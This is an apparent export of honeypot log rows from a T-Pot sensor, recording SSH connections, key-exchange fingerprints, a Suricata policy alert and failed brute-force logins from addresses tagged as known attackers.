29060	183.17.231.81	109.199.241.180	Cowrie	2021-09-20 14:22:48.88413+03	2021-09-20 14:30:03.644524+03	{"_id": "-wbxAnwBvYTbRNuEuzK7", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "183.17.231.81", "asn": 4134, "as_org": "Chinanet", "latitude": 22.5333, "location": {"lat": 22.5333, "lon": 114.1333}, "timezone": "Asia/Shanghai", "city_name": "Shenzhen", "longitude": 114.1333, "region_code": "GD", "region_name": "Guangdong", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "183.17.231.81", "eventid": "cowrie.session.closed", "message": "Connection lost after 2 seconds", "session": "ba18192f6734", "@version": "1", "duration": 2.884059190750122, "timestamp": "2021-09-20T11:22:48.884130Z", "@timestamp": "2021-09-20T11:22:48.884Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.closed	\N	known attacker	\N
29061	46.101.115.211	109.199.241.180	Suricata	2021-09-20 14:22:59.343947+03	2021-09-20 14:30:03.645524+03	{"_id": "AwbxAnwBvYTbRNuE5DOL", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "libssh_0.9.6"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "flow": {"start": "2021-09-20T11:22:59.275187+0000", "pkts_toclient": 3, "pkts_toserver": 5, "bytes_toclient": 821, "bytes_toserver": 1336}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "alert": {"gid": 1, "rev": 8, "action": "allowed", "category": "Misc activity", "metadata": {"created_at": ["2010_07_30"], "updated_at": ["2010_07_30"]}, "severity": 3, "signature": "ET POLICY SSH session in progress on Expected Port", "signature_id": 2001978}, "geoip": {"ip": "46.101.115.211", "asn": 14061, "as_org": "Digital Ocean, Inc.", "latitude": 50.1155, "location": {"lat": 50.1155, "lon": 8.6842}, "timezone": "Europe/Berlin", "city_name": "Frankfurt am Main", "longitude": 8.6842, "postal_code": "60313", "region_code": "HE", "region_name": "Hesse", "country_name": "Germany", "country_code2": "DE", "country_code3": "DE", "continent_code": "EU"}, "proto": "TCP", "ip_rep": "known attacker", "src_ip": "46.101.115.211", "stream": 0, "dest_ip": "192.168.20.116", "flow_id": 1016629212426995, "payload": "AAADzAYUxFXqjA6b6MiwDjTKq7+dxgAAAShjdXJ2ZTI1NTE5LXNoYTI1NixjdXJ2ZTI1NTE5LXNoYTI1NkBsaWJzc2gub3JnLGVjZGgtc2hhMi1uaXN0cDI1NixlY2RoLXNoYTItbmlzdHAzODQsZWNkaC1zaGEyLW5pc3RwNTIxLGRpZmZpZS1oZWxsbWFuLWdyb3VwMTgtc2hhNTEyLGRpZmZpZS1oZWxsbWFuLWdyb3VwMTYtc2hhNTEyLGRpZmZpZS1oZWxsbWFuLWdyb3VwLWV4Y2hhbmdlLXNoYTI1NixkaWZmaWUtaGVsbG1hbi1ncm91cDE0LXNoYTI1NixkaWZmaWUtaGVsbG1hbi1ncm91cDE0LXNoYTEsZGlmZmllLWhlbGxtYW4tZ3JvdXAxLXNoYTEsZXh0LWluZm8tYwAAAHFzc2gtZWQyNTUxOSxlY2RzYS1zaGEyLW5pc3RwNTIxLGVjZHNhLXNoYTItbmlzdHAzODQsZWNkc2Etc2hhMi1uaXN0cDI1Nixyc2Etc2hhMi01MTIscnNhLXNoYTItMjU2LHNzaC1yc2Esc3NoLWRzcwAAAHhhZXMyNTYtZ2NtQG9wZW5zc2guY29tLGFlczEyOC1nY21Ab3BlbnNzaC5jb20sYWVzMjU2LWN0cixhZXMxOTItY3RyLGFlczEyOC1jdHIsYWVzMjU2LWNiYyxhZXMxOTItY2JjLGFlczEyOC1jYmMsM2Rlcy1jYmMAAAB4YWVzMjU2LWdjbUBvcGVuc3NoLmNvbSxhZXMxMjgtZ2NtQG9wZW5zc2guY29tLGFlczI1Ni1jdHIsYWVzMTkyLWN0cixhZXMxMjgtY3RyLGFlczI1Ni1jYmMsYWVzMTkyLWNiYyxhZXMxMjgtY2JjLDNkZXMtY2JjAAAAe2htYWMtc2hhMi0yNTYtZXRtQG9wZW5zc2guY29tLGhtYWMtc2hhMi01MTItZXRtQG9wZW5zc2guY29tLGhtYWMtc2hhMS1ldG1Ab3BlbnNzaC5jb20saG1hYy1zaGEyLTI1NixobWFjLXNoYTItNTEyLGhtYWMtc2hhMQAAAHtobWFjLXNoYTItMjU2LWV0bUBvcGVuc3NoLmNvbSxobWFjLXNoYTItNTEyLWV0bUBvcGVuc3NoLmNvbSxobWFjLXNoYTEtZXRtQG9wZW5zc2guY29tLGhtYWMtc2hhMi0yNTYsaG1hYy1zaGEyLTUxMixobWFjLXNoYTEAAAAEbm9uZQAAAARub25lAAAAAAAAAAAAAAAAAAAAAAAAAA==", "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_server_kex"]}, "src_port": 44110, "app_proto": "ssh", "dest_port": 22, "timestamp": "2021-09-20T11:22:59.343947Z", "@timestamp": "2021-09-20T11:22:59.343Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": ".......U........4........(curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c...qssh-ed25519,ecdsa-sha2-nistp521,ecdsa-sha2-nistp384,ecdsa-sha2-nistp256,rsa-sha2-512,rsa-sha2-256,ssh-rsa,ssh-dss...xaes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc...xaes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc...{hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1...{hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1....none....none..................."}}	1	\N	\N	alert	known attacker	\N
29062	46.101.115.211	109.199.241.180	Suricata	2021-09-20 14:22:59.343844+03	2021-09-20 14:30:03.647524+03	{"_id": "BAbxAnwBvYTbRNuE5DON", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "libssh_0.9.6"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "geoip": {"ip": "46.101.115.211", "asn": 14061, "as_org": "Digital Ocean, Inc.", "latitude": 50.1155, "location": {"lat": 50.1155, "lon": 8.6842}, "timezone": "Europe/Berlin", "city_name": "Frankfurt am Main", "longitude": 8.6842, "postal_code": "60313", "region_code": "HE", "region_name": "Hesse", "country_name": "Germany", "country_code2": "DE", "country_code3": "DE", "continent_code": "EU"}, "proto": "TCP", "ip_rep": "known attacker", "src_ip": "46.101.115.211", "dest_ip": "192.168.20.116", "flow_id": 1016629212426995, "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_server_kex"]}, "src_port": 44110, "dest_port": 22, "timestamp": "2021-09-20T11:22:59.343844Z", "@timestamp": "2021-09-20T11:22:59.343Z", "event_type": "ssh", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	ssh	known attacker	\N
29063	192.168.20.116	109.199.241.180	Fatt	2021-09-20 14:22:59.313072+03	2021-09-20 14:30:03.648523+03	{"_id": "BgbxAnwBvYTbRNuE5TPD", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "tags": ["_geoip_lookup_failure"], "type": "Fatt", "geoip": {}, "src_ip": "192.168.20.116", "dest_ip": "46.101.115.211", "@version": "1", "fatt_ssh": {"skex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1", "slcts": "[Empty]", "slstc": "[Empty]", "sshka": "ssh-rsa,ssh-dss", "scacts": "zlib@openssh.com,zlib,none", "scastc": "zlib@openssh.com,zlib,none", "seacts": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "seastc": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "server": "SSH-2.0-OpenSSH_7.9p1", "smacts": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "smastc": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "hasshServer": "a4820aa8e920a4c1b6ea9367bde49ef2", "hasshVersion": "1.0", "hasshServerAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc;hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 22, "dest_port": 44110, "timestamp": "2021-09-20T11:22:59.313072", "@timestamp": "2021-09-20T11:22:59.313Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
29064	46.101.115.211	109.199.241.180	Cowrie	2021-09-20 14:22:59.344543+03	2021-09-20 14:30:03.650525+03	{"_id": "BwbxAnwBvYTbRNuE5jO4", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "encCS": ["aes256-gcm@openssh.com", "aes128-gcm@openssh.com", "aes256-ctr", "aes192-ctr", "aes128-ctr", "aes256-cbc", "aes192-cbc", "aes128-cbc", "3des-cbc"], "geoip": {"ip": "46.101.115.211", "asn": 14061, "as_org": "Digital Ocean, Inc.", "latitude": 50.1155, "location": {"lat": 50.1155, "lon": 8.6842}, "timezone": "Europe/Berlin", "city_name": "Frankfurt am Main", "longitude": 8.6842, "postal_code": "60313", "region_code": "HE", "region_name": "Hesse", "country_name": "Germany", "country_code2": "DE", "country_code3": "DE", "continent_code": "EU"}, "hassh": "f555226df1963d1d3c09daf865abdc9a", "macCS": ["hmac-sha2-256-etm@openssh.com", "hmac-sha2-512-etm@openssh.com", "hmac-sha1-etm@openssh.com", "hmac-sha2-256", "hmac-sha2-512", "hmac-sha1"], "compCS": ["none"], "ip_rep": "known attacker", "langCS": [""], "sensor": "b63cdd9641b8", "src_ip": "46.101.115.211", "eventid": "cowrie.client.kex", "kexAlgs": ["curve25519-sha256", "curve25519-sha256@libssh.org", "ecdh-sha2-nistp256", "ecdh-sha2-nistp384", "ecdh-sha2-nistp521", "diffie-hellman-group18-sha512", "diffie-hellman-group16-sha512", "diffie-hellman-group-exchange-sha256", "diffie-hellman-group14-sha256", "diffie-hellman-group14-sha1", "diffie-hellman-group1-sha1", "ext-info-c"], "keyAlgs": ["ssh-ed25519", "ecdsa-sha2-nistp521", "ecdsa-sha2-nistp384", "ecdsa-sha2-nistp256", "rsa-sha2-512", "rsa-sha2-256", "ssh-rsa", "ssh-dss"], "message": "SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a", "session": "724eae4f3140", "@version": "1", "timestamp": "2021-09-20T11:22:59.344543Z", "@timestamp": "2021-09-20T11:22:59.344Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none"}}	1	\N	cowrie.client.kex	\N	known attacker	\N
29065	46.101.115.211	109.199.241.180	Cowrie	2021-09-20 14:22:59.309415+03	2021-09-20 14:30:03.651524+03	{"_id": "CQbxAnwBvYTbRNuE5jO5", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "46.101.115.211", "asn": 14061, "as_org": "Digital Ocean, Inc.", "latitude": 50.1155, "location": {"lat": 50.1155, "lon": 8.6842}, "timezone": "Europe/Berlin", "city_name": "Frankfurt am Main", "longitude": 8.6842, "postal_code": "60313", "region_code": "HE", "region_name": "Hesse", "country_name": "Germany", "country_code2": "DE", "country_code3": "DE", "continent_code": "EU"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "46.101.115.211", "dest_ip": "192.168.176.2", "eventid": "cowrie.session.connect", "message": "New connection: 46.101.115.211:44110 (192.168.176.2:22) [session: 724eae4f3140]", "session": "724eae4f3140", "@version": "1", "protocol": "ssh", "src_port": 44110, "dest_port": 22, "timestamp": "2021-09-20T11:22:59.309415Z", "@timestamp": "2021-09-20T11:22:59.309Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	cowrie.session.connect	\N	known attacker	\N
29066	46.101.115.211	109.199.241.180	Cowrie	2021-09-20 14:22:59.312223+03	2021-09-20 14:30:03.653523+03	{"_id": "DwbxAnwBvYTbRNuE5jO7", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "46.101.115.211", "asn": 14061, "as_org": "Digital Ocean, Inc.", "latitude": 50.1155, "location": {"lat": 50.1155, "lon": 8.6842}, "timezone": "Europe/Berlin", "city_name": "Frankfurt am Main", "longitude": 8.6842, "postal_code": "60313", "region_code": "HE", "region_name": "Hesse", "country_name": "Germany", "country_code2": "DE", "country_code3": "DE", "continent_code": "EU"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "46.101.115.211", "eventid": "cowrie.client.version", "message": "Remote SSH version: b'SSH-2.0-libssh_0.9.6'", "session": "724eae4f3140", "version": "b'SSH-2.0-libssh_0.9.6'", "@version": "1", "timestamp": "2021-09-20T11:22:59.312223Z", "@timestamp": "2021-09-20T11:22:59.312Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.client.version	\N	known attacker	\N
29067	46.101.115.211	109.199.241.180	Fatt	2021-09-20 14:22:59.343947+03	2021-09-20 14:30:03.654524+03	{"_id": "BQbxAnwBvYTbRNuE5TPD", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "type": "Fatt", "geoip": {"ip": "46.101.115.211", "asn": 14061, "as_org": "Digital Ocean, Inc.", "latitude": 50.1155, "location": {"lat": 50.1155, "lon": 8.6842}, "timezone": "Europe/Berlin", "city_name": "Frankfurt am Main", "longitude": 8.6842, "postal_code": "60313", "region_code": "HE", "region_name": "Hesse", "country_name": "Germany", "country_code2": "DE", "country_code3": "DE", "continent_code": "EU"}, "ip_rep": "known attacker", "src_ip": "46.101.115.211", "dest_ip": "192.168.20.116", "@version": "1", "fatt_ssh": {"ckex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c", "clcts": "[Empty]", "clstc": "[Empty]", "cshka": "ssh-ed25519,ecdsa-sha2-nistp521,ecdsa-sha2-nistp384,ecdsa-sha2-nistp256,rsa-sha2-512,rsa-sha2-256,ssh-rsa,ssh-dss", "hassh": "f555226df1963d1d3c09daf865abdc9a", "ccacts": "none", "ccastc": "none", "ceacts": "aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc", "ceastc": "aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc", "client": "SSH-2.0-libssh_0.9.6", "cmacts": "hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1", "cmastc": "hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1", "hasshVersion": "1.0", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none"}, "protocol": "ssh", "src_port": 44110, "dest_port": 22, "timestamp": "2021-09-20T11:22:59.343947", "@timestamp": "2021-09-20T11:22:59.343Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	known attacker	\N
29068	46.101.115.211	109.199.241.180	Cowrie	2021-09-20 14:22:59.584443+03	2021-09-20 14:30:03.655524+03	{"_id": "CAbxAnwBvYTbRNuE5jO4", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "46.101.115.211", "asn": 14061, "as_org": "Digital Ocean, Inc.", "latitude": 50.1155, "location": {"lat": 50.1155, "lon": 8.6842}, "timezone": "Europe/Berlin", "city_name": "Frankfurt am Main", "longitude": 8.6842, "postal_code": "60313", "region_code": "HE", "region_name": "Hesse", "country_name": "Germany", "country_code2": "DE", "country_code3": "DE", "continent_code": "EU"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "46.101.115.211", "eventid": "cowrie.login.failed", "message": "login attempt [postgres/p0stgres] failed", "session": "724eae4f3140", "@version": "1", "password": "p0stgres", "username": "postgres", "timestamp": "2021-09-20T11:22:59.584443Z", "@timestamp": "2021-09-20T11:22:59.584Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.login.failed	\N	known attacker	\N
29069	81.71.14.9	109.199.241.180	Fatt	2021-09-20 14:22:35.030605+03	2021-09-20 14:30:03.656524+03	{"_id": "2gbxAnwBvYTbRNuEhzL4", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "type": "Fatt", "geoip": {"ip": "81.71.14.9", "asn": 5390, "as_org": "Euronet Communications B.V.", "latitude": 39.9289, "location": {"lat": 39.9289, "lon": 116.3883}, "timezone": "Asia/Shanghai", "longitude": 116.3883, "region_code": "BJ", "region_name": "Beijing", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "src_ip": "81.71.14.9", "dest_ip": "192.168.20.116", "@version": "1", "fatt_ssh": {"ckex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c", "clcts": "[Empty]", "clstc": "[Empty]", "cshka": "ssh-ed25519,ecdsa-sha2-nistp521,ecdsa-sha2-nistp384,ecdsa-sha2-nistp256,rsa-sha2-512,rsa-sha2-256,ssh-rsa,ssh-dss", "hassh": "f555226df1963d1d3c09daf865abdc9a", "ccacts": "none", "ccastc": "none", "ceacts": "aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc", "ceastc": "aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc", "client": "SSH-2.0-libssh_0.9.6", "cmacts": "hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1", "cmastc": "hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1", "hasshVersion": "1.0", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none"}, "protocol": "ssh", "src_port": 54570, "dest_port": 22, "timestamp": "2021-09-20T11:22:35.030605", "@timestamp": "2021-09-20T11:22:35.030Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	known attacker	\N
29070	81.71.14.9	109.199.241.180	Cowrie	2021-09-20 14:22:36.250396+03	2021-09-20 14:30:03.658523+03	{"_id": "3AbxAnwBvYTbRNuEjDLV", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "81.71.14.9", "asn": 5390, "as_org": "Euronet Communications B.V.", "latitude": 39.9289, "location": {"lat": 39.9289, "lon": 116.3883}, "timezone": "Asia/Shanghai", "longitude": 116.3883, "region_code": "BJ", "region_name": "Beijing", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "81.71.14.9", "eventid": "cowrie.login.failed", "message": "login attempt [lex/lex] failed", "session": "29a73e26b508", "@version": "1", "password": "lex", "username": "lex", "timestamp": "2021-09-20T11:22:36.250396Z", "@timestamp": "2021-09-20T11:22:36.250Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.login.failed	\N	known attacker	\N
29071	81.71.14.9	109.199.241.180	Cowrie	2021-09-20 14:22:37.535225+03	2021-09-20 14:30:03.659524+03	{"_id": "3QbxAnwBvYTbRNuEkDK-", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "81.71.14.9", "asn": 5390, "as_org": "Euronet Communications B.V.", "latitude": 39.9289, "location": {"lat": 39.9289, "lon": 116.3883}, "timezone": "Asia/Shanghai", "longitude": 116.3883, "region_code": "BJ", "region_name": "Beijing", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "81.71.14.9", "eventid": "cowrie.session.closed", "message": "Connection lost after 2 seconds", "session": "29a73e26b508", "@version": "1", "duration": 2.7862935066223145, "timestamp": "2021-09-20T11:22:37.535225Z", "@timestamp": "2021-09-20T11:22:37.535Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.closed	\N	known attacker	\N
29072	192.168.20.116	109.199.241.180	Fatt	2021-09-20 14:22:34.74983+03	2021-09-20 14:30:03.660525+03	{"_id": "2wbxAnwBvYTbRNuEhzL4", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "tags": ["_geoip_lookup_failure"], "type": "Fatt", "geoip": {}, "src_ip": "192.168.20.116", "dest_ip": "81.71.14.9", "@version": "1", "fatt_ssh": {"skex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1", "slcts": "[Empty]", "slstc": "[Empty]", "sshka": "ssh-rsa,ssh-dss", "scacts": "zlib@openssh.com,zlib,none", "scastc": "zlib@openssh.com,zlib,none", "seacts": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "seastc": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "server": "SSH-2.0-OpenSSH_7.9p1", "smacts": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "smastc": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "hasshServer": "a4820aa8e920a4c1b6ea9367bde49ef2", "hasshVersion": "1.0", "hasshServerAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc;hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 22, "dest_port": 54570, "timestamp": "2021-09-20T11:22:34.749830", "@timestamp": "2021-09-20T11:22:34.749Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
29073	81.70.175.230	109.199.241.180	Cowrie	2021-09-20 14:22:50.74296+03	2021-09-20 14:30:03.661524+03	{"_id": "_wbxAnwBvYTbRNuEwzKM", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "81.70.175.230", "asn": 5390, "as_org": "Euronet Communications B.V.", "latitude": 39.9289, "location": {"lat": 39.9289, "lon": 116.3883}, "timezone": "Asia/Shanghai", "longitude": 116.3883, "region_code": "BJ", "region_name": "Beijing", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "81.70.175.230", "eventid": "cowrie.session.closed", "message": "Connection lost after 2 seconds", "session": "50e3722458e4", "@version": "1", "duration": 2.9335896968841553, "timestamp": "2021-09-20T11:22:50.742960Z", "@timestamp": "2021-09-20T11:22:50.742Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.closed	\N	known attacker	\N
